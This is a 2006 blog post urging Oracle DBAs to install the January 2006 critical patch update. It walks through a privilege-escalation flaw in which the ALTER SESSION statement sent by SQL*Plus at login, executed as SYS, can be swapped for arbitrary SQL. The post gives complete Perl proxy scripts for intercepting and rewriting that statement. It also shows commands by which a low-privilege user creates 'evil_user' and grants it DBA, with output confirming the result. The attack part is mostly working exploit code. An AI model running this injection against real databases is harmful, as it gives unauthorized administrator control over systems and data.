René Nyffenegger's collection of things on the web
René Nyffenegger on Oracle - Most wanted - Feedback -
 

January 24, 2006: On a breakable Oracle

I usually don't do this sort of things, but this time, it seems real serious and I have to urge every dba to install the January 17th, 2006 critical patch update. The reason: Imperva has found a security bug that allows practically anyone to create a user with dba privileges (found via Pete Finnigan's website).
The bug boils down to the fact that SQL*Plus sends an alter session set nls... statement to Oracle when it initiates a connection. This statement is executed by Oracle with the rights of sys. Now, this statement can easily be replaced with another one. More details can be found at impervas link.
I verified the severity of this bug with two steps. In the first step, I intercepted the communication between SQL*Plus and the Oracle Server in order to find out how the alter session statement in question is transmitted. In the second step, I actually injected two SQL statements, the first of which creates a new user and the second of which grants dba to the newly created user.

Step 1: tapping the communication between SQL*PLus and Oracle

In order to see what happens when SQL*Plus starts a session, I used this proxy. For the pretty printing of the exchanged binary data, I used perl hexdumper package.
Here's the Perl script:
proxy_show.pl
use strict;
use warnings;

use hexdumper;
use proxy;

open SQLPLUS, ">from_sqlplus.dmp";

# Listen on port 1234, forward requests to
# globi, port 1521
my $proxy=new proxy(
     1234, 'globi', 1521,
   \&from_sqlplus, # callback for SQL*Plus' requests
   \&from_oracle   # callback for Oracle's answers
     );

my $sqlplus_dumper = new hexdumper(16);

# Wait for a connection from SQL*Plus
$proxy->accept;

print SQLPLUS $sqlplus_dumper->end;

close SQLPLUS;

# This function is called 
# whenever SQL*Plus makes a request
sub from_sqlplus {
  print SQLPLUS $sqlplus_dumper->write(shift);
}

# This function is called 
# whenever Oracle sends something
# back to SQL*Plus
sub from_oracle {
  # Not interesting here, so nothing done
}
It basically listens on port 1234 and forwards one connection to port 1521 on globi. Obviously, globi is the name of the server where the instance's listener is located and 1521 the listener's port. 1234 is an arbitrary and unused port on my system.
The script also creates the file from_sqlplus.dmp where it writes every byte sent from SQL*Plus.
Of course, I had to modify my tnsnames.ora file in order to connect to port 1234 rather than 1521. I have copied the following entry
ORA10R2 =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = Globi)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = ora10r2)
    )
  )
to
proxy =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = localhost)(PORT = 1234))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = ora10r2)
    )
  )
I also created an Oracle user with only the create session privilege:
create user only_session_granted identified by some_secret;
The proxy is started ...
$ perl proxy_show.pl
... and only_session_granted connects to the database:
sqlplus only_session_granted/some_secret@proxy
The proxy has written from_sqlplus.dmp. Here are its relevant portions:
     0:  01 05 00 00 01 00 00 00 01 39 01 2c 00 00 08 00               9 ,    
    16:  7f ff c6 0e 00 00 01 00 00 cb 00 3a 00 00 02 00                 :    
    32:  61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00      aa              

  [ .. snipped .. ]

  1792:  00 12 00 00 00 12 41 55 54 48 5f 41 4c 54 45 52            AUTH_ALTER
  1808:  5f 53 45 53 53 49 4f 4e e9 01 00 00 fe ff 41 4c      _SESSION      AL
  1824:  54 45 52 20 53 45 53 53 49 4f 4e 20 53 45 54 20      TER SESSION SET
  1840:  4e 4c 53 5f 4c 41 4e 47 55 41 47 45 3d 20 27 41      NLS_LANGUAGE= 'A
  1856:  4d 45 52 49 43 41 4e 27 20 4e 4c 53 5f 54 45 52      MERICAN' NLS_TER

  [ .. snipped .. ]

  2064:  41 52 59 27 20 54 49 4d 45 5f 5a 4f 4e ea 45 3d      ARY' TIME_ZON E=

  [ .. snipped .. ]

  2288:  2d 52 52 20 48 48 2e 4d 49 2e 53 53 58 46 46 20      -RR HH.MI.SSXFF 
  2304:  41 4d 20 54 5a 52 27 00 00 00 00 00 00 17 00 00      AM TZR'         
  2320:  00 17 41 55 54 48 5f 4c 4f 47 49 43 41 4c 5f 53        AUTH_LOGICAL_S
  2336:  45 53 53 49 4f 4e 5f 49 44 20 00 00 00 20 44 32      ESSION_ID     D2

  [ .. snipped .. ]
There are several things to note: 1) The alter session statement starts at position 1822. This position is not constant however, it varies from connection to connection. 2) The length of the statement is 489 bytes (2310 - 1822 + 1). This length is constant as the statement does not vary. It might be different on another system, I have not checked for that. 3) There's a 0xEA byte at position 2077. 0xEA is the only non-ascii character in the statement. It turns out that this byte is the 256th of the statement (2077-1822+1). It seems as though it is used to point to the end of the remaining statement (2077+0xEA-1 = 2077+234-1 = 2310).
With this information, I am ready to inject my statement.

Step 2: Injecting the statement

The statement is injected with another Perl script:
proxy_do_sql.pl
use strict;
use warnings;

use proxy;

# Listen on port 1234, forward requests to
# globi, port 1521
my $proxy=new proxy(
     1234, 'globi', 1521,
   \&from_sqlplus, # callback for SQL*Plus' requests
   \&from_oracle   # callback for Oracle's answers
);

my $length    = 489;

my $stmt_search = "ALTER SESSION SET NLS_LANGUAGE= 'AMERICAN'";
my $stmt_inject = $ARGV[0];

# Make both statement 489 bytes long by filling them
# with spaces.
$stmt_inject .= ' ' x ($length - length($stmt_inject));
$stmt_search .= '.' x ($length - length($stmt_search));

# Put that \xea at position 256:
substr($stmt_inject,255,1) = "\xea";

# Wait for a connection from SQL*Plus
$proxy->accept;

sub from_sqlplus {

  # replace searched statement with injected statement:
  if ($_[0] =~ /$stmt_search/) {
    $_[0] =~ s/$stmt_search/$stmt_inject/;
    print "Injected: $stmt_inject\n\n";
  }
}

sub from_oracle {
  # do nothing
}
I use this script twice: once to create another user:
$ perl proxy_do_sql.pl "create user evil_user identified by hahaha"
Again, I connect via the proxy to inject the statement:
sqlplus only_session_granted/some_secret@proxy
Then, I use the script to grant dba to evil_user:
$ perl proxy_do_sql.pl "grant dba to evil_user"
Yet again, I need to connect to inject this statement as well:
sqlplus only_session_granted/some_secret@proxy
One wouldn't believe, but evil_user has now the dba role. This time, I do not connect via the proxy:
sqlplus rene/rene@ora10r2
select grantee from dba_role_privs where granted_role  = 'DBA';
GRANTEE
------------------------------
SYS
SYSMAN
FOO
RENE
SYSTEM
EVIL_USER
Knowing this, it seems more than imperative to immediatly install the patch!

Thanks

Thanks to Clemens Scheper who notified me of two errors on this page.

More on Oracle

This is an on Oracle article. The most current articles of this series can be found here.